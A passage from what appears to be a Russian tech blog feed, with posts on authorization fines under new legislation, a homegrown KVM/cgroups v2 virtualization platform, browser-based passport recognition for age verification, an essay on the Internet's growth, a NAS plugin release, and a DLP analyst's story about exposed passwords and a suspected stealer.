 autoThrottleFPSDropThreshold: 40,
 instancedBatchSize: 500
};

Как вам идея? Будет ли она полезна в 2026 году, пока не изобрели вакцину?

Как быть с авторизацией пользователей после новостей о штрафах

ksalnikova — Wed, 10 Jun 2026 16:03:13 +0000

Ни дня без новостях о новых штрафах и ограничениях.

9 июня во всех порталах разлетелась новость о том, что Госдума одобрила штрафы за авторизацию пользователей через иностранные сервисы. Что с этой новостью не так? В тексте была указана ссылка на законопроект № 1110676-8 вот с таким текстом. При этом текст, действительно, вносит изменения в ряд федеральных законов, но ни о каких штрафах речи там не было.

Однако в этот же день Госдума приняла в третьем чтении законопроект №1069392-8 вот с таким текстом - и про штрафы речь шла именно в нем.

Вероятно, одни журналисты ошиблись, поставили ссылку не на тот законопроект, а затем ссылку репостнули все остальные.

Законопроект ввел в КоАП новую статью 13.55 «Неисполнение обязанности по проведению авторизации пользователей сети “Интернет” при предоставлении доступа к информации», которая предусматривает следующие штрафы:

Граждане от 10 000 до 20 000 руб.

Должностные лица от 30 000 до 50 000 руб.

Юридические лица от 500 000 до 700 000 руб.

Закон ничего не говорит об увеличении суммы за повторное нарушение. Но есть риск, что вас могут оштрафовать несколько раз за одно и то же, если РКН проведет несколько "контрольных закупок", то есть несколько сессий авторизации на вашем портале.

При этом законопроект не вводит новые нормы про авторизацию (они уже были предусмотрены п. 10 ст. 8 149-ФЗ), а только предусматривает ответственность (причем, достаточно суровую) за неисполнение.

Итак, начнем с того, что в законодательстве вообще отсутствует норма, которая определяет, что такое авторизация (это значит, что ведомства при принятии решений о фактах нарушений и назначении штрафов будут руководствоваться общедоступными источниками - словарями, какими-нибудь локальными актами и т.д.).

Например, по энциклопедии Касперского, авторизация - процесс предоставления пользователю или группе пользователей определенных разрешений, прав доступа и привилегий в компьютерной системе.

Т.к. в законе нет отсылок к терминам “регистрация”, “аутентификация”, “идентификация”, то РКН будет смотреть на процесс авторизации - то есть как пользователь получает доступ к закрытой части сайта.

Из забавного: по идее, пользователь может зарегистрироваться с применением каких угодно данных, а вот авторизацию нужно будет проводить уже только с применением нормы закона.

Исходя из п. 10 ст. 8 149-ФЗ, у нас осталось только 4 законных способа авторизации пользователя:

"Законные" и "незаконные" способы авторизации

Что получается после анализа способов:

Судя по всему, любая авторизация с использованием электронной почты (даже на Яндексе - без подключения их сервиса авторизации или Mail.ru) - недопустима, т.к. этого варианта нет в списке.
В списке способов нет мессенджера Макс, но с натяжкой этот способ подходит, т.к. в мессенджере нельзя зарегистрироваться без номера телефона. Возможно, для него будет сделано какое-то отдельное разъяснение.
Нормы закона касаются и публичных и корпоративных сервисов. Если читать норму буквально, работодателя можно оштрафовать за то, что сотрудники заходят в корпоративную систему, используя выданные им логины/пароли, без "обычной" авторизации. Почему не сделано исключение для корпоративных систем - непонятно...
Судя по всему, теперь самый рабочий способ авторизации - это использование номера телефона (что повлечет дополнительные затраты, которые нужно заложить в бюджет проекта) или использование Яндекс ID
Владельцам сайтов, порталов, интернет-магазинов и любых ресурсов (приложений, сервисов), которые предусматривают авторизацию, нужно просмотреть свои формы авторизации и скорректировать пользовательское (лицензионное) соглашение - ту часть, где описан способ авторизации.
Закон не описывает, что вы должны делать с пользователями, которые ранее зарегистрировались/авторизовывались с использованием ныне "запрещенных" способов. Тут сам владелец ресурса должен принять решение и, например, разослать оповещения об изменении способа авторизации.
На кого распространяется закон?
- Вы - владелец ПО/сайта - гражданин РФ или российское юридическое лицо
- Ваш пользователь находится на территории Российской Федерации (неизвестно, как вы должны определить, где находится ваш пользователь, но РКН будет проводить “контрольные закупки”, находясь в РФ, поэтому лучше учесть эти нормы, если вы работаете (хотя бы частично) с русскоязычной аудиторией тут либо определять по гео или перед показом формы авторизации вешать плашку с вопросом вы находитесь в РФ? и в зависимости от ответа показывать форму (это даст хотя бы какую-то позицию в споре с РКН)
На какие сервисы распространяется закон?
Я видела в сети позицию, что нормы распространяются только на сайты, а на десктопные/мобильные приложения - нет, но я с ней не согласна.
Читаем п. 10 ст. 8: Владелец сайта / Страницы сайта в сети “Интернет” / Информационной системы /Программы для электронных вычислительных машин

Термин "программа для ЭВМ" раскрыт в ст. 1261 ГК РФ, это - представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата. Термин специально сформулирован так широко, чтобы все разнообразие программ охранялось авторским правом.

Поэтому, фактически, под действие п. 10 ст. 8 попадают вообще все сервисы - сайты, порталы, мобильные приложения, десктопные приложения, SaaS и т.д. Если вы считаете, что ваш проект не попадает - напишите в комментариях, что у вас за сервис - будем разбирать, подходит к нему термин "сайт" или "программа для ЭВМ" или нет.

Кстати, закон вступит в силу через 10 дней после официального опубликования (поскольку в тексте проекта не предусмотрена специальная дата вступления в силу), то есть у всех есть около 2-х недель, чтобы избежать ситуации возможного получения штрафов.

Кстати, вот примеры довольно крупных сервисов, которые позволяют авторизоваться через иные способы

Сайт ВТБ (для бизнеса) - можно авторизоваться по своим логину и паролю или через ЕСИА

Можно войти со своей почтой (иностранной, кстати) или через Яндекс ID

Опыт разработки российской платформы виртуализации с нуля: libvirt, cgroups v2 и почему это никому не нужно

Eskander_007 — Wed, 10 Jun 2026 15:49:35 +0000

Виртуализация в России — тема горячая. VMware ушёл, Hyper‑V под вопросом, Proxmox — открытый, но не «суверенный». Я задался вопросом: а можно ли написать платформу управления KVM с нуля, с полным контролем ресурсов через cgroups v2, без единой строки GPL‑кода?

Спойлер: да. Встречайте Eskvisor — мой проект, переросший в зарегистрированную в Роспатенте программу для ЭВМ. Под капотом — архитектура, грабли с cgroups, и почему полностью суверенный проект был мертворожденным.

Темы

Почему возникла идея, как велась разработка и что там с импортозамещением
Как я нативно внедрил cgroups v2 для полного контроля ресурсов системы с гарантией
Почему проект оказался мертворожденным

Почему возникла идея , как велась разработка и что там с импортозамещением

В надежде среди мыслительных процессов найти ту самую идею стартапа, которая «выстрелит», я пришел к мысли: в РФ сейчас тренд на отечественные разработки. Учитывая также мой опыт в работе в компании в РФ, которая специализируется на продуктах, связанных с виртуализацией, я понял — надо делать, это можно будет продать.

Но к разработке я приступил не сразу, перед разработкой тщательно изучил рынок. Полностью отечественных проектов в принципе нет, а если они есть — то имеют тяжелое легаси, которое само по себе дороже поддерживать. Большинство проектов(не будем называть имён) чаще всего основываются на OpenSource решениях, а те, в свою очередь, основываются на libvirt. И выходит так, что коммерческая компания со своим штатом программистов, вместо того, чтобы предложить действительно суверенный софт — берет OpenSource, немного его шлифует, клеит свою наклейку и продает как «отечественное решение», где из отечественного лишь верхнеуровневая доработка, но чаще всего — без своей глубокой реализации. Так и клепают год за годом «убийц VMware». Мой проект также был основан на libvirt, но я сознательно отказался от копирования чужих решений. ИИ — только для ускорения кодогенерации, не более.

Проект был полностью написан мной с нуля, на протяжении 45+ дней непрерывного кодинга (а до этого — анализа рынка и конкурентов) с выполнением своего минимального функционала, включая фишку контроля ресурсов через cgroup v2.

Возникает риторический вопрос: если я один смог накинуть ядро кода, лишь немного капнув в этом направлении, включая нативный контроль ресурсов через cgroup v2, чем занимаются целые штаты программистов у крупных вендоров?

Ведь одно дело — разработка по-настоящему сложной и зрелой системы, например, живой миграции ВМ между хостами (это нетривиальная задача, требующая огромных ресурсов; я, кстати, тоже смог её в минимальном функционале реализовать, но поддерживать такую махину в одиночку, особенно на старте и для крупных вендоров, было бы архи-сложно, поэтому я выпилил большую часть кода).

И совсем другое — взять готовое OpenSource-решение, слегка его зашлифовать и наклеить свой логотип.

Неужели продукту, который на 90% состоит из OpenSource-компонентов (и чьи критические баги за вас исправляет всё мировое сообщество), нужен целый штат программистов, чтобы делать из него «импортозамещение»?

Абсурд ситуации усиливает один неподтверждённый, но показательный кейс (источник, увы, не могу раскрыть): некая российская компания с крупным контрактом на виртуализацию проводила миграции ВМ с помощью OpenSource‑решения без своих доработок на коммерческих платформах заказчика.

А теперь внимательно следим за контекстом:

------------------------------------------------------------------------------------------------------------------------------

Ситуация получилась такой, что заказчик заплатил за «отечественную разработку», функционала которой оказалось недостаточно, в итоге сверху этого команде пришлось использовать другое OpenSource решение для решения проблемы.

------------------------------------------------------------------------------------------------------------------------------

Тендер на поставку ПО выиграла не та компания, у которой оказалось более качественное ПО, а та которой нужно было выиграть. Вся «суверенность» свелась к красивой презентации и закрытым глазам на происхождение кода.

Верить или нет — решать вам.

Как я внедрял нативное использование cgroup v2 для полного контроля ресурсов системы с гарантией

Ключевая проблема большинства платформ виртуализации — номинальное ограничение ресурсов. Control plane отправляет запрос на 2 vCPU и 4 ГБ RAM, но когда ВМ начинает активно нагружаться, шедулер Linux отдаёт ей всё свободное время. В результате дашборд показывает честные 70% (потому что именно столько мы записали в БД), а по факту система потребляет 80%, 90% или вообще всё, что есть.

Я пробовал решить проблему хранением метрик в JSON — написал систему для трекинга и будущих интеграций. Эффективность оказалась нулевой: мы лишь фиксировали проблему, но не решали её.

Единственное работающее решение — cgroups v2. Эта технология ограничивает ресурсы на уровне ядра Linux. Бесполезно пытаться через libvirt увеличить доступные мощности — cgroup просто не отдаст лишнее, даже если создать новую ВМ с большим количеством ресурсов(например 4 vCPU) но закинуть ее в limit на 2 ядра — ВМ не сможет использовать больше 2 ядер

В моей реализации при создании ВМ мы:

Вычисляем PID процесса QEMU/KVM (по имени из конфигов libvirt)
Добавляем этот PID в заранее созданный пул ресурсов
Пул уже имеет жёсткие лимиты CPU и RAM на уровне cgroups

Теперь ВМ физически не может выйти за рамки. Дашборд показывает реальное положение, а не то, что «должно быть».

Модуль управления cgroups v2 в Eskvisor

Ядро ресурсного контроля платформы — модуль pycgroup, реализующий прямое взаимодействие с иерархией cgroups v2. Модуль построен по принципу трёхуровневой абстракции: контроллеры (CPUController, MemoryController, PidController) → фасад PYCGroup → бизнес‑логика агента.

CPUController управляет лимитами через cpu.max и cpu.weight, поддерживая установку ограничений в процентах или ядрах. Ключевая особенность — метод get_cpu_available_cores, вычисляющий остаточный ресурс пула для планирования новых ВМ.

MemoryController оперирует контроллерами memory.max, memory.high и memory.min для жёстких, мягких и гарантированных лимитов памяти.

Иерархическая модель разделяет пулы (группы ВМ) и контейнеры (отдельные ВМ). Дочерняя cgroup не может превышать лимиты родительской — это обеспечивает предсказуемое распределение ресурсов.

Для сохранения состояния разработаны bash‑скрипты save.sh/restore.sh с интеграцией в systemd (таймер на каждые 6 часов). Скрипт migrate.sh через rsync переносит конфигурации между хостами, сохраняя все настройки cgroup.

Модуль полностью автономен, не требует перезагрузки и работает поверх стандартного KVM/libvirt без модификации ядра. Более подробно изучить модель и в целом проект можно в репозитории GitHub.

Почему проект оказался мертворожденным

Все до безобразия просто, рынок поделен между крупными игроками, даже имея хорошо написанный код и полностью с нуля разработанную архитектуру — это не дает никакой гарантии на то, что проект будет интересен хоть кому‑то. Параллельно с разработкой я рассылал множество писем различным компаниям, интеграторам, включая гос заказы(более 80 писем, звонки и прочее), где я писал всем с одним предложением — все подключим и сделаем абсолютно бесплатно, нам нужна будет лишь обратная связь, а при заинтересованности в коммерческом контракте — постараемся получить и лицензию Минцифры, включение в реестр отечественного ПО и так далее. Модель была максимально простой — если понравится, возьмите, если не понравится — нам ничего не нужно.

Всем спасибо, кто дочитал до этого места. Если вы из компании, которой надоели «отечественные обёртки над OpenSource», или просто хотите посмотреть на честный код — репозиторий открыт. Мне же — собирать карму и доделывать Atomic AI Cloud. Увидимся там

Проверка возраста без персональных данных и биометрии: встраиваем в веб-страницу за 5 минут

Wed, 10 Jun 2026 15:45:00 +0000

Продолжаем рассказывать об альтернативном способе подтверждения возраста на веб-ресурсах без использования биометрии, интеграции с ЕБС и раскрытия персональных данных. О том, как это можно сделать, мы подробно писали в прошлой статье. Теперь разберемся, как реализовать подобный сценарий с помощью WebAssembly и какие возможности это открывает для веб-платформ. В этом материале показываем код, ищите под катом.

Веб-распознавание как альтернатива биометрии и внешним сервисам

Распознавание паспорта с локальной обработкой на стороне пользователя позволяет решить задачу проверки возраста без сбора биометрии, ЕБС и раскрытия персональных данных. Такой сценарий ближе всего к привычной офлайн-проверке, а при грамотной реализации для него не требуется ни мощное железо, ни даже сторонние приложения.

Мы в Smart Engines уже давно развиваем технологии распознавания в веб-среде – на сегодняшний день они работают в интернет-версиях многих российских банков при распознавании платежных баркодов, банковских карт и документов. Перенести распознавание в браузер нам удалось с помощью WebAssembly – технологии, позволяющей создавать “продвинутые” веб-приложения (PWA), в том числе с возможностью локального распознавания. Фактически современные PWA по скорости работы, отзывчивости интерфейса и доступному функционалу уже вплотную приблизились к нативным решениям. При этом в ряде сценариев они оказываются даже удобнее.

Во-первых, веб-приложение работает везде, где есть браузер: на смартфонах, планшетах, ноутбуках и даже внутри мессенджеров. С точки зрения возрастной верификации это дает единую реализацию для всех платформ без необходимости переходить в специальное приложение.

Во-вторых, PWA существенно сокращают доставку. Вместо переходов между сервисами, получения SMS-кодов или авторизации через сторонние сайты платформа получает проверку возраста непосредственно в собственном интерфейсе. Это влияет на CJM и позволяет встроить возрастную верификацию в существующий пользовательский сценарий практически бесшовно.

С точки зрения пользователя процесс выглядит предельно просто: открыть страницу и показать паспорт в камеру. Для пресечения попыток обойти проверку – с чужим документом или с помощью дипфейков и других видов подделок – распознавание паспорта можно дополнить антифрод-анализом и небиометрической сверкой лиц. При этом все вычисления выполняются локально на устройстве, поэтому изображения и персональные данные не покидают пользовательский контур и не раскрываются ни самой платформе, ни другим внешним сторонам.

Для пользователей это гарантия конфиденциальности и отсутствие риска утечки. Для бизнеса это означает отсутствие факта передачи персональных данных и зависимости от внешних сервисов. Для разработчиков же WebAssembly открывает возможность добавить проверку возраста в любой необходимый веб-интерфейс – от интернет-магазинов и маркетплейсов до онлайн-кинотеатров, социальных платформ и мессенджеров.

Причем встроить распознавание документов для проверки возраста в веб-страницу можно хоть за пять минут. Ниже рассмотрим практическую реализацию такого решения.

Совершеннолетний без лишних разглашений: можно ли проверить возраст пользователя без биометрии, ЕБС и рисков утечек

Привет, Хабр! Пока Минцифры изучает введение возрастной идентификации на онлайн-платформах и весь ми...

habr.com

Как встроить систему распознавания и проверки возраста в веб-страницу

Перейдем от бизнес-формулировок к технической части и разберемся, как можно быстро интегрировать продукты Smart Engines в любой цифровой сервис – мобильное приложение, веб-платформу или даже интерфейс мессенджера.

Мы реализовали PWA, которое хранит все необходимые ресурсы (включая Wasm-модули) в локальном кеше благодаря Service worker. В отличие от браузерного кеша, Service worker при повторном обращении к ресурсу не создает HTTP- запросов, а отдает файлы сразу. Это позволяет значительно ускорить отзывчивость приложения. Для кэширования ресурсов вы регистрируете Service Worker по простому примеру из MDN и добавляете все необходимые ресурсы при регистрации. Это стили, скрипты и wasm-файлы.

Для внедрения распознавания необходимо создать worker.js - файл, который будет производить вычисления, не нагружая UI браузера.

let SEWorker = new Worker("./worker.js"));

Внутри воркера мы загружаем скрипт и создаем инстанс библиотеки распознавания

// Import the relevant global Engine object
importScripts(bin/simd.nothreads/idengine_wasm.js);

// Init WASM module
const SE = await SmartIDEngine({});

// Init engine
const ENGINE = new SE.seIdEngine(true, 1, true);

Теперь нам необходимо создать и настроить сессию распознавания.

let sessionSettings = engine.CreateSessionSettings();

Указываем режим распознавания и маску документа. Можно указать маску как rus.passport.* тогда поиск будет осуществляться как национального паспорта так и биометрического заграничного (“rus.passport.biometric”)

sessionSettings.SetCurrentMode(“default”);
sessionSettings.AddEnabledDocumentTypes(“rus.passport.national”);

Следующей настройкой мы просим вернуть в результате изображение документа, исправленное по перспективе.

sessionSettings.SetOption("common.extractTemplateImages", "true");

Теперь мы инициализируем сессию:

spawnedSession = engine.SpawnSession(sessionSettings, signature);

В вебе для захвата изображений с камеры необходимо сначала отрисовать видеопоток на canvas и после этого мы получаем доступ к пикселям, которые передаем в специальный объект Image.

let image = new SE.seImageFromBuffer(rawData, width, height, stride, channels);

Теперь мы можем передать его на распознавание.

const result = spawnedSession.Process(image);

Объект result содержит в себе всю информацию о документе: текстовые поля, координаты шаблона и полей документа, изображения (подписи, печати, изображение документа).

Мы рекомендуем не закрывать сессию после первого распознавания, а продолжать подавать в нее изображения, то есть рекомендуем использовать распознавание документа в видеопотоке. У этого подхода есть большое преимущество в виде устойчивости к бликам ламинированных документов и другим артефактам распознавания, поскольку их результаты комбинируются.

Если система больше не ожидает получить более качественное изображение на вход, она переводит флаг терминальности сессии в true и вы можете забрать результат.

if (result.GetIsTerminal()) {
  // Можно забирать результат
}

Распознавание на клиенте не ограничивается только камерой. Документ может быть прикреплен из галереи или быть упакован в многостраничный PDF. Все эти форматы можно отрисовать на canvas и передать на распознавание.

Как это выглядит?

По итогам распознавания система возвращает структурированный результат.

Вот как работает распознавание паспорта РФ прямо в браузере

Состав результатов распознавания полностью настраивается под требования заказчика. Платформа может получать как отдельные поля документа – например, только дату рождения, – так и готовый возрастной атрибут или токен вида «18+». Тако подход позволяет гибко регулировать степень раскрытия персональных данных: от передачи минимально необходимой информации до полностью анонимного сценария, в котором сервис получает лишь подтверждение соответствия возрастному порогу без каких-либо сведений о личности пользователя.

Как видите, встроить в веб-страницу распознавание паспорта для проверки возраста действительно можно за считанные минуты. Без отдельного мобильного приложения, без биометрии, ЕБС и отправки документов в облако. Работать такой механизм будет даже ~~на парковке~~ без доступа к сети.

Парадоксально, но факт: интернет остается обязательным атрибутом онлайн-платформы, но перестает быть необходимым для проверки возраста.

Интернет

intdif — Wed, 10 Jun 2026 15:41:29 +0000

Шуточная статья. А может и нет? Вы задумывались, а что такое Интернет? Посмотрим в википедии: Интерне́т (англ. Internet) — коммуникационная сеть и глобальная система объединённых компьютерных сетей для хранения и передачи информации. Интернет соединяет автономные системы (ASN) по всему миру протоколом динамической маршрутизации BGP. Количество уникальных автономных сетей в системе маршрутизации Интернета превысило 5000 в 1999 году, 30 000 в конце 2008 года, 35 000 в середине 2010 года, 42 000 в конце 2012 года, 54 000 в середине 2016 года и 60 000 в начале 2018 года. К декабрю 2020 года количество выделенных ASN превысило 100 000. По состоянию на 2025 год насчитывается около 120 000 выделенных ASN.

Интернет растет. Интернет развивается. На хватает IPv4 - переходим на IPv6. Скоро будем пинговать другие адреса. IPv6 - это не просто больше адресов, а примерно 340 ундециллионов (10^38) - на каждый атом на поверхности Земли или чтобы раздать адрес каждой песчинке на планете. Экспоненциальный рост. Сейчас стандарт TCP/IP, который вытеснил x.25 и другие протоколы, а какой протокол будет следующим?

Появились более сложные структуры - многочисленные хранилища, сервисы, которые тоже являются частью Интернет. Гигантские фермы серверов (Google, Amazon, Microsoft) потребляют столько же энергии, сколько небольшие города. Интернет растёт не только «вширь», но и «вглубь» — в мощность вычислений.

Интернет теперь не только в компьютерах: IoT (интернет вещей) — холодильники, лампочки, счётчики, автомобили, дроны. Интернет стал толще и плотнее, он везде, даже там, где мы не ждём.

Спутниковый интернет - интернет теперь не только на Земле, но и над ней. Он дотянулся до орбиты земли и оттуда спустился в каждый уголок Земли.

Появились LLM - сейчас только ленивый не пользуется системами искусственного интеллекта. LLM не просто "часть интернета", они начали его читать за нас — и отвечать от его имени. Интернет заговорил.

Про трафик: в 1990-х - гигабайты в сутки. Сейчас - эксабайты (миллионы терабайт). Видео (YouTube, TikTok, Zoom) съедают львиную долю. Мы уже тонем в видео.

Вот интересно - а кто развивает интернет? Люди? Инженеры, которые создают новые системы, рабочие, которые тянут кабели…

А кто строит планы по развитию интернета? Тоже люди? План - подать интернет в каждое сето на Чукотке! И все сразу заработали, ставят спутниковые станции, тянут кабели сквозь мороз и тайгу…

( Рельсы упрямо режут тайгу, Дерзко и прямо в зной и пургу)

Что-то мне напоминает лампочку Ильича: Коммунизм - это советская власть плюс электрификация всей страны.

И еще одна ассоциация возникает: ”...кто же управляет ... всем вообще распорядком на земле? – сам человек и управляет, – поспешил сердито ответить Бездомный на этот, признаться, не очень ясный вопрос.

– Виноват, – мягко отозвался неизвестный, – для того, чтобы управлять, нужно, как-никак, иметь точный план на некоторый, хоть сколько-нибудь приличный срок. Позвольте же вас спросить, как же может управлять человек, если он не только лишен возможности составить какой-нибудь план хотя бы на смехотворно короткий срок, ну, лет, скажем, в тысячу, но не может ручаться даже за свой собственный завтрашний день?”.

Вот и Интернет - кто ж все таки его планирует? А может никто не планирует? Просто каждый решает свою частную проблему? Но Интернет-то развивается.

А что, если интернет развивается сам? А люди - просто его инструменты для развития? Он уже очень большой, он раскинул свои щупальца по всей планете, он присутствует везде и продолжает расти…

Почему? А почему растет дерево? Оно ведь тоже распространяется, занимает территории, потребляет ресурсы.

Биолог ответит: дерево растёт, чтобы размножаться, захватывать территорию, получать больше света, чем соседи. Это конкуренция. Это борьба за ресурсы.

Но эколог возразит: дерево растёт, потому что оно встроено в экосистему. Его рост — это способ отдавать (кислород, тень, плоды, место для гнёзд) и получать (азот от грибов, опыление от насекомых, заботу от белок).

А философ скажет: дерево растёт, потому что так устроен мир. Мир устроен так, что живое стремится увеличивать сложность, захватывать свободную энергию, заполнять доступное пространство. Это не «цель» дерева. Это свойство жизни как процесса.

Я бы еще добавил - нужны червячки, чтобы разрыхлять корни.

Вот и вопрос, что в приоритете - человечество для Интернета или Интернет для человечества?

Mini Bucket 3.6.4: теперь с плагинами — двери для разработки открыты

RomanZo26 — Wed, 10 Jun 2026 15:41:14 +0000

Данное изображение продукт генерации ии и моих скринов.

Как мы превратили панель управления NAS в платформу для расширений, зачем туда Log Manager и для чего Plugin Template.

Сегодня на Хабре уже была похожая статья, но модератор её снял. Поэтому те, кто её уже видел, могут не тратить время на чтение этой версии.

Вместо введения

В прошлой статье (Mini Bucket 3.6.2: от беты к релизу) я показал, как панель доросла до стабильного состояния: закрыли дыры, разнесли базы, добавили HTTPS.

Но панель как панель. SMB, FTP и прочее — это стандартный набор почти любой админки. Пришло время расширять функционал.

Лучшим решением оказалось:

не городить модуль на модуле;
не гадать, кому и что может пригодиться;
не навязывать лишнего;
не отнимать у таких же, как я, энтузиазм и желание сделать что-то своё.

Поэтому, как уже было решено ранее, выходом из этой ситуации стали плагины.

Плагин по определению — это расширение, позволяющее приложению дополнить базовый функционал (мало ли, вдруг кто-то этого не знает).

Итак, плагины

В новой версии 3.6.4 я добавил возможность устанавливать плагины. Перед реализацией возникло много вопросов. Наша ключевая фишка — мультисеть (позволяет переключать фронтенд на бэкенд другого сервера для его мониторинга и управления). Значит, и модуль плагинов должен уметь переключаться.

Не проблема: механизм уже наработан. За вечер я реализовал модуль плагинов.

Тут снова возникает вопрос:

А что, если на главном сервере плагин установлен, а на Slave — нет?

Во избежание этого был реализован механизм проверки плагина на сервере. Если на Slave-сервере плагина нет, а мы пытаемся им управлять, то увидим сообщение об отсутствии плагина и предложение его установить.

Вот здесь как раз и пригодится хранение в репозитории. Если согласиться с этим заманчивым предложением, то одним нажатием кнопки плагин будет загружен на целевой сервер и установлен. Страница перезагрузится — и теперь плагином можно управлять.

Позже сделаю контроль разности версий.

Что это даёт?

Все загруженные плагины могут храниться в репозитории Root-мастер-сервера и передаваться на узлы, а с них — на их подчинённые Slave-серверы. Не придётся ходить на каждый сервер и устанавливать плагин вручную. Ну разве не лепота?

Теперь расскажу о плагинах подробнее

Log Manager

Этот плагин был первым. Собственно, он и работал, помогая писать всю эту затею, чтобы потом писать другие.

Что умеет Log Manager:

Выбирать логи, которые всегда будут под рукой. Вы можете выбрать лог-файл в системе или указать путь к нему и сохранить в список. Больше не придётся ничего запоминать или, что ещё хуже, лезть в Google, чтобы найти нужный лог.

Отображать содержимое лог-файла.
Искать в реальном времени и работать в режиме живого обновления (удобно, когда ищешь проблему).
Очищать лог (обзорно или полностью удалить содержимое файла).
Экспортировать лог-файл.

Возможно, позже я реализую некий брокер логов, но думаю, для начала и этого достаточно.

Особенно удобно смотреть нужные логи на определённых серверах: переключаешься на нужный сервер и видишь список его логов с содержимым.

Plugin Template

Как понятно из названия, это шаблон плагина для разработки. Я постарался разнести всю стандартную логику по файлам.

Шаблон уже включает:

стандартные проверки безопасности;
режим определения хостов для переключения;
режим проверки наличия плагина на сервере.

Думаю, те, кто захочет присоединиться к расширению функционала, оценят.

Надеюсь найдутся те кто сможет обуздать шаблон и присоединится к расширению функционала. На этом все) спасибо за внимание!

P.S Оставлю полезные линки по статье:

Сайт проекта: https://mini-bucket.ru/

Плагины: https://mini-bucket.ru/plugins/

Раздел для плагинов на форуме: https://mini-bucket.ru/community/community/плагины/

WiKi for Developers: https://mini-bucket.ru/wiki/knowledge-base/dev-pugins/plugin-development/

Установка: https://mini-bucket.ru/install/

Для тех у кого уже установлен Mini Bucket готово обновление в интерфейсе в разделе Update.

Кейс: тест DLP, с которого ничего не началось

katya_dlpshka — Wed, 10 Jun 2026 15:31:41 +0000

Привет! Я — Катя DLPшка. Недавно пришла в профессию и… сразу же получила свой первый блэк аут. Рассказываю…

Четыре года в вузе я наивно верила: устроюсь на работу в айтишку, где клиенты всё понимают, а их сотрудники — ангелы. Я буду выявлять инциденты, говорить, что и как исправить, ссылаясь на ФСТЭК и ГОСТ, а мне отвечать: «Да, DLPшка Катя, согласны, давайте исправлять…»

Забавно вышло. Я сильно ошиблась

Именно поэтому я завела блог: хочу снизить риски от социальной инженерии. Потому что главная уязвимость — это люди. И я их прекрасно понимаю, наверное.

Небольшой тизер к моей первой статье:

Слепая дружба: CEO доверял ему всё, а DLP вычислил бэкдор на рабочем столе» или как «неприкасаемый» сисадмин устроил себе клондайк из паролей и малвари

Сейчас я работаю в компании по автоматизации предприятий. В отделе ИБ я аналитик DLP‑системы, отсюда и мой никнейм — Катя DLPшка. Я рил считаю, что DLP — хороший способ подсветить риски и каналы утечек, которые никто никогда не контролирует.

Что такое DLP

DLP (Data Leak Prevention или Data Loss Prevention) — это система, защищающая организацию от утечек конфиденциальной информации. DLP‑системы защищают внутренние данные компании, предотвращая их утечку через интернет, USB‑носители, принтеры или мессенджеры. Системы контролируют перемещение конфиденциальных сведений, включая персональные данные, финансы и интеллектуальную собственность.

Обычно бизнес фокусируется на внешних кибератаках (вирусах, фишинге, DDoS), однако внутренние инциденты часто наносят куда более масштабный урон. В связи с этим службе безопасности важно расценивать каждого сотрудника как потенциальный источник угрозы.

Так вот, закончился у меня очередной проект. Точнее, не закончился — мы его закрыли. Хотя искренне хотели помочь бизнесу. Обидно, да? Мой руководитель мне сказал не расстраиваться и вообще: «Лучшее лекарство — отпусти и забудь». Но я решила написать статью и рассказать (поныть) миру, с чем столкнулась.

И вот мой пятый проект как есть….

Один из недавних клиентов — классический представитель среднего бизнеса: свой домен, файловый сервер, распределённая работа с удалёнкой. CEO является владельцем компании и безгранично доверяет главному системному администратору (назовем его СИС). СИС в хороших отношениях с генеральным, и мнение первого лица звучало так: «Наш сисадмин — профессионал, он всё контролирует, нам отдельный человек по ИБ не нужен».

Но у нас есть бесплатный тестовый период. И владелец решил всё‑таки попробовать что‑то новенькое — побыть в «тренде ИБ», ну и к тому же посмотреть, а кто что делает или может, даже ворует. Так они и решились на наш 4-недельный тест DLP.

Как мы получили кривые права

Для сбора событий с файлового сервера мне нужны были права на чтение логов. СИС выдал права, но неправильно: вместо чтения файлов только у определенных пользователей, сотрудник дал доступ к терминальному серверу с учётками всех пользователей компании. Я, в свою очередь, предупредила заказчика об избыточности, но получила прямое указание продолжать работу в текущей конфигурации и мониторить всех пользователей, к которым у системы имелся доступ.

В результате я не могла менять настройки, так как не владела правами администратора, но зато модуль вычитки документов продолжал исправно писать в свою базу всё подряд. Данных я получила с большим запасом — и это оказалось золотой жилой. Я подумала: вот сколько проблем я вижу, сейчас я им помогу.... Угу… помогу…

Результаты DLP‑системы через неделю

Я начала с малого: посмотрела содержимое рабочих столов сотрудников. Абсолютно на каждом конечном устройстве обнаружился текстовый файл (а чаще незашифрованная электронная таблица) со всеми паролями. Внутри — учётные данные от корпоративных порталов и Госуслуг, парольные фразы от банков, доступы к удаленным столам и внутренним CRM. Венчала этот «клад» приписка: «Сохрани этот файл на рабочем столе или отправь себе по почте, чтобы не потерять 😊». Да… со смайликом… Моя первая мысль: «Правила безопасности ИБ? нет… не слышали». Но самое интересное ждало меня на машине самого СИСа.

Находки на ПК «неприкасаемого» СИСа

Прицельно изучив файлы и логи с рабочей станции системного администратора, я нашла три критичные проблемы:

Антивирус с истекшей лицензией и базами. На машине стоял антивирус, который когда‑то был корпоративным стандартом. В логах DLP‑системы читалось, что последнее обновление вирусных баз произошло больше года назад, лицензия истекла. Фактически ПК был «голым».
Вредоносное ПО, пропущенное всеми средствами защиты. Сотрудник скачал вредоносное ПО (предположительно, стиллер), а устаревший корпоративный антивирус никак не распознал и не отреагировал на инцидент.
Хранение всех паролей компании. В корне рабочего стола лежал текстовый файл с паролями от доменных учёток, локальных администраторов серверов и учётных записей всех сотрудников. Файл не был защищён мастер‑паролем — открывай и заходи куда угодно.

Финал: как закончилась история

Нет, спасибо, наш админ безупречен и никогда не врёт

Я представила CEO полный отчет с описанием уязвимостей, индикаторами компрометации и выводами. Предложила несколько вариантов реагирования для выстраивания комплексной безопасности в компании: от использования антивирусного ПО и менеджера паролей, до развёртывания полноценной DLP‑системы в разных ценовых категориях в зависимости от количества лицензий. Ответ генерального директора был: «Нет, спасибо. Я знаю, что наш админ — надежный человек, он решит самостоятельно».

Контракт закрыли, компания осталась один на один со своими проблемами. Теперь каждый раз, когда в новостях появляется заголовок об очередной масштабной утечке паролей, я невольно думаю: а не та ли это компания, где нашелся стиллер на «неприкасаемом» админе?

Что я хочу подчеркнуть

Избыточные права — подарок для аудитора и лазейка для хакера. Ошибка СИСа с предоставлением прав уровня администратора дала мне возможность провести глубокий аудит. В реальных проектах рекомендую всегда внимательно проверять, какие разрешения вы даете подрядчикам. Случайная избыточность может помочь злоумышленникам.
